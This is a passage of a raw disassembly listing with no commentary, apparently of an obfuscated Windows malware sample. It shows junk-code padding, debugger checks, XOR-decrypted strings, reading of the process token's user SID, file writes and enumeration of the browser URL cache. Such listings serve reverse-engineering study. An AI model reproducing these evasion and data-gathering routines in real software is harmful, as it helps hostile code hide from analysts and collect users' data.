[ebp+var_112], al mov [ebp+var_FF], 0 push 3 push offset asc_4473F4 ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h mov [ebp+var_111], 0 jmp short loc_404758 sub_404657 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40470D loc_4046FD: ; CODE XREF: sub_40470D+53j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 ; END OF FUNCTION CHUNK FOR sub_40470D ; =============== S U B R O U T I N E ======================================= sub_40470D proc near ; DATA XREF: sub_43F74D+600o ; FUNCTION CHUNK AT 004046FD SIZE 00000010 BYTES jge short loc_404751 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp-11Ch], eax call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-11Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 add esp, 18h loc_404751: ; CODE XREF: sub_40470Dj add byte ptr [ebp-111h], 1 loc_404758: ; CODE XREF: sub_404657+A4j mov al, [ebp-111h] cmp al, 0Ah jb short loc_4046FD call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp-0FFh] push eax push ebx call sub_40C9F8 push 3 push offset asc_4473EB ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 18h mov dword ptr [ebp-118h], 3D0h mov eax, 3732h mul dword ptr [ebp-118h] mov [ebp-120h], eax mov [ebp-118h], eax loc_4047AB: ; CODE XREF: sub_404657+60j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404881 mov word ptr [ebp-112h], 18E9h inc word ptr [ebp-112h] push 10h push offset aUdcJJJR ; "" call sub_4045BB mov [ebp-118h], eax call sub_40C9BC mov [ebp-11Ch], eax call sub_40C9BC mov [ebp-120h], eax call sub_40C9BC mov [ebp-124h], eax call sub_40C9BC mov ecx, 0EA60h cdq idiv ecx push edx mov edi, [ebp-124h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-120h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-118h] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp-0FFh] push eax push ebx call sub_40C9F8 add esp, 28h call sub_40C554 ; GetVersion loc_404881: ; CODE XREF: sub_40470D+AEj call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_40493E call sub_40C5D8 ; IsDebuggerPresent push 0Ah push offset aJJJsq ; "" call sub_4045BB mov [ebp-11Ch], eax call sub_40C9BC mov [ebp-120h], eax call sub_40C9BC mov [ebp-124h], eax call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-124h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-120h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 lea edi, [ebp-117h] lea esi, aLw ; "&:; lw" mov ecx, 7 rep movsb lea eax, [ebp-0FFh] push eax push ebx call sub_40C9F8 add esp, 24h ; DATA XREF: sub_43F74D+41Dr call sub_40C4C4 ; GetCurrentThreadId loc_40493E: ; CODE XREF: sub_40470D+184j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404966 push 2 push offset aSq ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404966: ; CODE XREF: sub_40470D+241j call sub_40C548 ; GetTickCount pop edi pop esi pop ebx leave retn sub_40470D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404970 proc near ; CODE XREF: sub_405636+1A0p ; sub_405636+1C3p ... var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_129 = dword ptr -129h var_125 = byte ptr -125h var_11F = byte ptr -11Fh var_11E = byte ptr -11Eh var_10D = dword ptr -10Dh var_104 = dword ptr -104h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_104], 3E27h mov eax, [ebp+var_104] mov edx, eax add edx, eax mov [ebp+var_104], edx push [ebp+arg_4] push ebx call sub_40C9F8 add esp, 8 call sub_40C4C4 ; GetCurrentThreadId mov eax, dword_442290 mov [ebp+var_10D], eax call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404B69 call sub_40C548 ; GetTickCount mov [ebp+var_FF], 0 lea edi, [ebp+var_125] lea esi, aDQA ; "d~q <a" mov ecx, 7 rep movsb push 5 push offset asc_4473C6 ; DATA XREF: sub_43F74D+2Ao ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h call sub_40C518 ; GetProcessHeap mov [ebp+var_11E], 0 jmp loc_404B2E ; --------------------------------------------------------------------------- loc_404A11: ; CODE XREF: sub_404970+1C6j call sub_40C4C4 ; GetCurrentThreadId call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404A6A push 4 push offset aCJ ; "" call sub_4045BB mov [ebp+var_130], eax ; DATA XREF: sub_44014E+12o call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_130] push edi lea edi, [ebp+var_FF] push edi call sub_40C9D4 add esp, 18h loc_404A6A: ; CODE XREF: sub_404970+B6j call sub_40C4E8 ; RtlGetLastWin32Error call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404AC3 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp+var_134], eax call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_134] push edi lea edi, [ebp+var_FF] push edi call sub_40C9D4 add esp, 18h loc_404AC3: ; CODE XREF: sub_404970+10Fj mov eax, dword_44229B mov [ebp+var_129], eax call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 7 jge short loc_404B22 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp+var_138], eax call sub_40C9BC mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_138] push edi lea edi, [ebp+var_FF] push edi call sub_40C9D4 add esp, 18h loc_404B22: ; CODE XREF: sub_404970+16Ej call sub_40C548 ; GetTickCount add [ebp+var_11E], 1 loc_404B2E: ; CODE XREF: sub_404970+9Cj mov al, [ebp+var_11E] cmp al, 0Ah jb loc_404A11 lea eax, [ebp+var_FF] push eax push ebx call sub_40C9F8 call sub_40C4C4 ; GetCurrentThreadId push 4 push offset asc_4473C1 ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 18h call sub_40C4B8 ; GetCurrentProcessId loc_404B69: ; CODE XREF: sub_404970+55j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404D19 mov [ebp+var_11F], 0CBh movzx eax, [ebp+var_11F] imul eax, 46B4h mov [ebp+var_11F], al mov [ebp+var_FF], 0 sub_404970 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404BA0 proc near ; DATA XREF: sub_44014E+143o call sub_40C4B8 ; GetCurrentProcessId mov byte ptr [ebp-11Eh], 0 jmp loc_404CFB ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_404BA0+163j mov byte ptr [ebp-120h], 0E9h add byte ptr [ebp-120h], 1 call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404C13 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp-134h], eax call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-134h] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 add esp, 18h loc_404C13: ; CODE XREF: sub_404BA0+2Fj mov word ptr [ebp-122h], 21DBh add word ptr [ebp-122h], 3752h call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404C79 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp-138h], eax call sub_40C9BC mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-138h] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 add esp, 18h loc_404C79: ; CODE XREF: sub_404BA0+95j lea edi, [ebp-12Dh] lea esi, aHs ; " hS " mov ecx, 5 rep movsb call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 3 jge short loc_404CE0 push 4 push offset aCJ ; "" call sub_4045BB mov [ebp-13Ch], eax call sub_40C9BC mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-13Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40C9D4 add esp, 18h loc_404CE0: ; CODE XREF: sub_404BA0+FCj mov dword ptr [ebp-128h], 6204h add dword ptr [ebp-128h], 58FBh add byte ptr [ebp-11Eh], 1 loc_404CFB: ; CODE XREF: sub_404BA0+Cj mov al, [ebp-11Eh] cmp al, 32h jb loc_404BB1 lea eax, [ebp-0FFh] push eax push ebx call sub_40C9F8 add esp, 8 loc_404D19: ; CODE XREF: sub_404970+209j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404D41 push 4 push offset aZc ; "ه" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404D41: ; CODE XREF: sub_404BA0+189j mov word ptr [ebp-108h], 725Fh movzx eax, word ptr [ebp-108h] imul eax, 2514h mov [ebp-108h], ax call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short sub_404D86 sub_404BA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D70 proc near ; DATA XREF: .data:0043F4E9o push 3 push offset aZ_1 ; "ه" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h sub_404D70 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D86 proc near ; CODE XREF: sub_404BA0+1CEj ; DATA XREF: .data:0043F45Bo lea edi, [ebp-10Eh] lea esi, byte_4422A4 xor ecx, ecx inc ecx rep movsb call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404DBF push 3 push offset aR_0 ; "ِ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404DBF: ; CODE XREF: sub_404D86+21j mov byte ptr [ebp-109h], 0F1h movzx eax, byte ptr [ebp-109h] imul eax, 35FDh mov [ebp-109h], al call sub_40C9BC mov ecx, 0Ah sub_404D86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404DE3 proc near ; DATA XREF: sub_43F2FC+6o cdq idiv ecx cmp edx, 5 jge short loc_404E01 push 3 push offset aM_0 ; "ٌ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404E01: ; CODE XREF: sub_404DE3+6j lea edi, [ebp-115h] lea esi, aOVunh ; "O+Vunh" mov ecx, 7 rep movsb call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E3C push 4 push offset aM ; "ʌ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404E3C: ; CODE XREF: sub_404DE3+41j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E64 push 4 push offset aZ ; "ʇ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404E64: ; CODE XREF: sub_404DE3+69j call sub_40C518 ; GetProcessHeap call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E91 push 4 push offset aR ; "ʐ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404E91: ; CODE XREF: sub_404DE3+96j call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404EB9 push 7 push offset aGkls ; "ʃ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404EB9: ; CODE XREF: sub_404DE3+BEj mov byte ptr [ebp-105h], 0FCh movzx eax, byte ptr [ebp-105h] mov edx, eax add edx, eax mov eax, edx mov [ebp-105h], al call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404EFB push 8 push offset aJalsac ; "ن" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404EFB: ; CODE XREF: sub_404DE3+100j call sub_40C4B8 ; GetCurrentProcessId call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F28 push 9 push offset aJalsac_0 ; "ʆ" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404F28: ; CODE XREF: sub_404DE3+12Dj lea edi, [ebp-11Dh] lea esi, aXC6l ; " X c6L=" movsd movsd call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F5E push 2 push offset aSq ; "" call sub_4045BB push eax push ebx call sub_40C9F8 add esp, 10h loc_404F5E: ; CODE XREF: sub_404DE3+163j pop edi pop esi pop ebx leave retn sub_404DE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F63 proc near ; CODE XREF: sub_405004+65p ; sub_405004+BAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 202h push esi push [ebp+arg_0] mov eax, dword_4422BC lea eax, ds:436170h[eax] push eax call sub_40C998 add esp, 0Ch mov [ebp+var_8], 3ADh xor edi, edi jmp short loc_404FB2 ; --------------------------------------------------------------------------- loc_404F98: ; CODE XREF: sub_404F63+51j mov eax, dword_4422BC add eax, edi lea eax, ds:436170h[eax] movsx edx, byte ptr [eax] xor edx, 0FDh mov [eax], dl inc edi loc_404FB2: ; CODE XREF: sub_404F63+33j cmp edi, esi jl short loc_404F98 mov eax, dword_4422BC add eax, esi mov byte ptr ds:dword_436170[eax], 0 mov edi, dword_4422BC add dword_4422BC, 2 mov eax, dword_4422BC lea eax, [eax+esi+3] mov dword_4422BC, eax add dword_4422BC, 3 cmp dword_4422BC, 0E05h jle short loc_404FFA and dword_4422BC, 0 loc_404FFA: ; CODE XREF: sub_404F63+8Ej lea eax, dword_436170[edi] pop edi pop esi leave retn sub_404F63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405004 proc near ; CODE XREF: sub_4051C3+73p var_26 = byte ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = word ptr -1Ah var_18 = word ptr -18h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov [ebp+var_18], 5D42h movzx eax, [ebp+var_18] imul eax, 1E96h mov [ebp+var_18], ax call sub_40C548 ; GetTickCount xor ebx, ebx inc ebx push [ebp+arg_0] call sub_40C920 ; GetSidIdentifierAuthority mov [ebp+var_14], eax call sub_40C4B8 ; GetCurrentProcessId push [ebp+arg_0] call sub_40C938 ; GetSidSubAuthorityCount movzx edi, byte ptr [eax] mov [ebp+var_10], edi mov eax, 0Ch mul [ebp+var_10] mov [ebp+var_20], eax add eax, 1Ch mov [ebp+var_C], eax mov ax, word_4422C0 mov [ebp+var_1A], ax push 6 push offset aOSi ; "ؑ" call sub_404F63 push ebx push eax push [ebp+arg_4] call sub_40C800 ; wsprintfA add esp, 14h mov [ebp+var_C], eax mov [ebp+var_15], 2 movzx eax, [ebp+var_15] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_15], al mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+var_14] cmp byte ptr [eax], 0 jnz short loc_4050A6 cmp byte ptr [eax+1], 0 jz short loc_405110 loc_4050A6: ; CODE XREF: sub_405004+9Aj lea edi, [ebp+var_26] lea esi, aG84rg ; "G84rg" mov ecx, 3 rep movsw push 20h push offset aEXeXeXeXeXeXe ; "ͅϕϕϕϕϕϕ" call sub_404F63 mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx esi, si push esi movzx esi, byte ptr [edi+4] movzx esi, si push esi movzx esi, byte ptr [edi+3] movzx esi, si push esi movzx esi, byte ptr [edi+2] movzx esi, si push esi movzx esi, byte ptr [edi+1] movzx esi, si push esi movzx edi, byte ptr [edi] movzx edi, di push edi push eax push [ebp+var_8] call sub_40C800 ; wsprintfA add esp, 28h mov ebx, eax add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax jmp short loc_40516B ; --------------------------------------------------------------------------- loc_405110: ; CODE XREF: sub_405004+A0j call sub_40C4B8 ; GetCurrentProcessId push 3 push offset aSi_0 ; "ؑ" call sub_404F63 mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx edx, byte ptr [edi+4] shl edx, 8 add esi, edx movzx edx, byte ptr [edi+3] shl edx, 10h add esi, edx movzx edi, byte ptr [edi+2] shl edi, 18h add esi, edi push esi push eax push [ebp+var_8] call sub_40C800 ; wsprintfA add esp, 14h mov ebx, eax mov [ebp+var_24], 24B2h sub [ebp+var_24], 5B87h add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax loc_40516B: ; CODE XREF: sub_405004+10Aj and [ebp+var_4], 0 jmp short loc_4051B6 ; --------------------------------------------------------------------------- loc_405171: ; CODE XREF: sub_405004+1B8j call sub_40C5D8 ; IsDebuggerPresent push 4 push offset aSi ; "ؑ" call sub_404F63 mov [ebp+var_24], eax push [ebp+var_4] push [ebp+arg_0] call sub_40C92C ; GetSidSubAuthority push dword ptr [eax] mov edi, [ebp+var_24] push edi push [ebp+var_8] call sub_40C800 ; wsprintfA add esp, 14h mov ebx, eax call sub_40C554 ; GetVersion add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax inc [ebp+var_4] loc_4051B6: ; CODE XREF: sub_405004+16Bj mov eax, [ebp+var_10] cmp [ebp+var_4], eax jb short loc_405171 pop edi pop esi pop ebx leave retn sub_405004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051C3 proc near ; CODE XREF: sub_405F5E+231p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push edi call sub_40C4E8 ; RtlGetLastWin32Error call sub_40C4B8 ; GetCurrentProcessId mov edi, eax push edi push 0 push 1F0FFFh call sub_40C620 ; OpenProcess mov edi, eax lea eax, [ebp+var_4] push eax push 0F00FFh push edi call sub_40C8A8 ; OpenProcessToken push edi call sub_40C530 ; CloseHandle call sub_40C4C4 ; GetCurrentThreadId mov eax, dword_4422B8 add eax, 3FF5h push eax push 40h call sub_40C5FC ; LocalAlloc mov edi, eax lea eax, [ebp+var_8] push eax mov eax, dword_4422B8 add eax, 3FF5h push eax push edi push 1 push [ebp+var_4] call sub_40C8B4 ; GetTokenInformation call sub_40C554 ; GetVersion push [ebp+arg_0] push dword ptr [edi] call sub_405004 add esp, 8 call sub_40C4C4 ; GetCurrentThreadId push edi call sub_40C608 ; LocalFree call sub_40C4C4 ; DATA XREF: sub_440559r push [ebp+var_4] ; DATA XREF: sub_440565r call sub_40C530 ; DATA XREF: sub_440571r call sub_40C4C4 ; DATA XREF: sub_44057Dr pop edi locret_40525C: ; DATA XREF: sub_440589r leave retn sub_4051C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40525E proc near ; CODE XREF: sub_40538B+48p ; sub_40538B+BFp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp ; DATA XREF: sub_440595r push ecx push eax push esi loc_405264: ; DATA XREF: sub_4405A1r push edi mov esi, [ebp+arg_4] loc_405268: ; DATA XREF: sub_4405ADr push esi push [ebp+arg_0] loc_40526C: ; DATA XREF: sub_4405B9r sub_4405C5r mov eax, dword_4422D0 lea eax, ds:4197C0h[eax] ; DATA XREF: sub_4405D1r loc_405278: ; DATA XREF: sub_4405DDr push eax call sub_40C998 ; DATA XREF: sub_4405E9r add esp, 0Ch ; DATA XREF: sub_4405F5r mov [ebp+var_4], 43h ; DATA XREF: sub_440601r xor edi, edi jmp short loc_4052A3 ; --------------------------------------------------------------------------- loc_40528C: ; CODE XREF: sub_40525E+47j ; DATA XREF: sub_44060Dr mov eax, dword_4422D0 add eax, edi lea eax, ds:4197C0h[eax] movsx edx, byte ptr [eax] ; DATA XREF: sub_440619r xor edx, 69h mov [eax], dl inc edi loc_4052A3: ; CODE XREF: sub_40525E+2Cj cmp edi, esi jl short loc_40528C mov [ebp+var_8], 4 ; DATA XREF: sub_4406D5r sub_4406E1r mov eax, dword_4422D0 ; DATA XREF: sub_4406EDr add eax, esi ; DATA XREF: sub_4406F9r mov byte ptr ds:dword_4197C0[eax], 0 ; DATA XREF: sub_440705r ; sub_440711r xor edi, edi mov edi, dword_4422D0 ; DATA XREF: sub_44071Dr sub_440729r mov eax, edi lea eax, [eax+esi+2] ; DATA XREF: sub_440735r mov dword_4422D0, eax ; DATA XREF: sub_440741r loc_4052D0: ; DATA XREF: sub_44074Dr sub_440759r add dword_4422D0, 3 cmp dword_4422D0, 0DDBh ; DATA XREF: sub_440765r ; sub_440771r ... jle short loc_4052EA and dword_4422D0, 0 ; DATA XREF: sub_440789r sub_440795r loc_4052EA: ; CODE XREF: sub_40525E+83j ; DATA XREF: sub_4407A1r lea eax, dword_4197C0[edi] loc_4052F0: ; DATA XREF: sub_4407ADr pop edi pop esi leave retn sub_40525E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052F4 proc near ; CODE XREF: sub_4062A9+4BAp ; sub_4062A9+4D7p ; DATA XREF: ... var_18 = byte ptr -18h var_12 = word ptr -12h var_10 = byte ptr -10h var_9 = byte ptr -9 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h ; DATA XREF: sub_4407C5r push ebx push esi push edi lea edi, [ebp+var_9] lea esi, aJ3C7 ; DATA XREF: sub_4407D1r ; "j~3 c7" movsd movsd loc_405308: ; DATA XREF: sub_4407DDr sub_4407E9r mov ax, word_4422E0 mov [ebp+var_12], ax ; DATA XREF: sub_4407F5r push 0 loc_405314: ; DATA XREF: sub_440801r sub_44080Dr push 80h push 4 push 0 ; DATA XREF: sub_440819r push 0 push 0C0000000h ; DATA XREF: sub_440825r loc_405324: ; DATA XREF: sub_440831r push [ebp+arg_0] call sub_40C650 ; CreateFileA mov ebx, eax mov [ebp+var_1], 7Bh ; DATA XREF: sub_44083Dr add [ebp+var_1], 7 ; DATA XREF: sub_440849r cmp ebx, 0FFFFFFFFh ; DATA XREF: sub_440855r jnz short loc_40533F xor eax, eax ; DATA XREF: sub_440861r jmp short loc_405386 ; --------------------------------------------------------------------------- loc_40533F: ; CODE XREF: sub_4052F4+45j ; DATA XREF: sub_44086Dr call sub_40C548 ; GetTickCount loc_405344: ; DATA XREF: sub_440879r push 2 push 0 loc_405348: ; DATA XREF: sub_440885r push 0 push ebx call sub_40C65C ; DATA XREF: sub_440891r loc_405350: ; DATA XREF: sub_44089Dr sub_4408A9r call sub_40C554 ; GetVersion push 0 lea eax, [ebp+var_10] ; DATA XREF: sub_4408B5r push eax push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_40C6C8 ; DATA XREF: sub_4408C1r call sub_40C4E8 ; DATA XREF: sub_4408CDr loc_40536C: ; DATA XREF: sub_4408D9r push ebx call sub_40C530 ; DATA XREF: sub_4408E5r lea edi, [ebp+var_18] ; DATA XREF: sub_4408F1r lea esi, aI ; DATA XREF: sub_4408FDr ; ";i '&" mov ecx, 3 ; DATA XREF: sub_440909r loc_405380: ; DATA XREF: sub_440915r rep movsw xor eax, eax ; DATA XREF: sub_440921r inc eax loc_405386: ; CODE XREF: sub_4052F4+49j pop edi pop esi loc_405388: ; DATA XREF: sub_44092Dr pop ebx leave retn sub_4052F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538B proc near ; CODE XREF: sub_4062A9+40Dp var_2F52 = word ptr -2F52h var_2F50 = word ptr -2F50h var_2F4E = word ptr -2F4Eh var_2F4B = byte ptr -2F4Bh var_2F46 = word ptr -2F46h var_2F44 = byte ptr -2F44h var_2F43 = byte ptr -2F43h var_1F44 = dword ptr -1F44h var_1F40 = byte ptr -1F40h var_1F3C = dword ptr -1F3Ch var_1F38 = dword ptr -1F38h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp loc_40538C: ; DATA XREF: sub_440939r mov ebp, esp mov eax, 2F54h ; DATA XREF: sub_440945r call sub_40C43C ; DATA XREF: sub_440951r loc_405398: ; DATA XREF: sub_44095Dr push ebx push esi push edi call sub_40C554 ; GetVersion lea edi, [ebp+var_2F4B] lea esi, a4ct ; ",4Ct" mov ecx, 5 rep movsb call sub_40C4C4 ; GetCurrentThreadId push [ebp+arg_0] lea eax, [ebp+var_2F43] push eax call sub_40C45C call sub_40C4C4 ; GetCurrentThreadId push 1 push offset byte_447353 call sub_40525E mov edi, 0Fh sub edi, dword_4422CC push edi push eax lea edi, [ebp+var_2F43] push edi call sub_4017D2 add esp, 14h mov edi, eax mov [ebp+var_2F46], di call sub_40C4C4 ; GetCurrentThreadId movzx eax, [ebp+var_2F46] cmp eax, 0FFFFh jz short loc_40541F movzx eax, [ebp+var_2F46] mov [ebp+eax+var_2F43], 0 loc_40541F: ; CODE XREF: sub_40538B+83j mov [ebp+var_2F44], 81h movzx eax, [ebp+var_2F44] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2F44], al mov [ebp+var_1F44], 1F40h push 3 push offset off_44734F call sub_40525E add esp, 8 lea edi, [ebp+var_1F44] push edi lea edi, [ebp+var_1F40] push edi push eax call sub_40B9BC ; FindFirstUrlCacheEntryA mov ebx, eax or eax, eax jz loc_405554 mov ax, word_4422ED mov [ebp+var_2F4E+1], ax lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40C968 add esp, 8 or eax, eax jnz short loc_4054B6 call sub_40C554 ; GetVersion push [ebp+var_1F38] push [ebp+arg_4] call sub_40C45C call sub_40C5D8 ; IsDebuggerPresent xor eax, eax inc eax jmp loc_405554 ; --------------------------------------------------------------------------- loc_4054B6: ; CODE XREF: sub_40538B+109j ; sub_40538B:loc_40554Dj mov [ebp+var_2F50], 178Ch movzx eax, [ebp+var_2F50] imul eax, 2051h mov [ebp+var_2F50], ax mov [ebp+var_1F44], 1F40h mov [ebp+var_2F52], 3F69h movzx eax, [ebp+var_2F52] imul eax, 7EFh mov [ebp+var_2F52], ax lea eax, [ebp+var_1F44] push eax lea eax, [ebp+var_1F40] push eax push ebx call sub_40B9C8 ; FindNextUrlCacheEntryA or eax, eax jz short loc_405552 call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40C968 add esp, 8 or eax, eax jnz short loc_40554D call sub_40C518 ; GetProcessHeap push [ebp+var_1F38] push [ebp+arg_4] call sub_40C45C call sub_40C5D8 ; IsDebuggerPresent xor eax, eax inc eax jmp short loc_405554 ; --------------------------------------------------------------------------- loc_40554D: ; CODE XREF: sub_40538B+1A3j jmp loc_4054B6 ; --------------------------------------------------------------------------- loc_405552: ; CODE XREF: sub_40538B+185j xor eax, eax loc_405554: ; CODE XREF: sub_40538B+DFj ; sub_40538B+126j ... pop edi pop esi pop ebx leave retn sub_40538B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405559 proc near ; CODE XREF: sub_405636+5C6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_11 = byte ptr -11h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_11] lea esi, a?I ; "?<I*" mov ecx, 5 rep movsb push [ebp+arg_0] call sub_40C6E0 ; lstrlenA mov [ebp+var_8], eax call sub_40C554 ; GetVersion mov edi, [ebp+var_8] shl edi, 1 add edi, 8 push edi push 40h call sub_40C5FC ; LocalAlloc mov [ebp+var_C], eax xor ebx, ebx jmp short loc_4055B5 ; --------------------------------------------------------------------------- loc_405599: ; CODE XREF: sub_405559+5Fj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+ebx] xor eax, 71h or eax, eax jz short loc_4055B4 mov eax, ebx add eax, [ebp+arg_0] movzx edx, byte ptr [eax] xor edx, 71h mov [eax], dl loc_4055B4: ; CODE XREF: sub_405559+4Cj inc ebx loc_4055B5: ; CODE XREF: sub_405559+3Ej cmp ebx, [ebp+var_8] jb short loc_405599 call sub_40C4B8 ; GetCurrentProcessId mov [ebp+var_2], 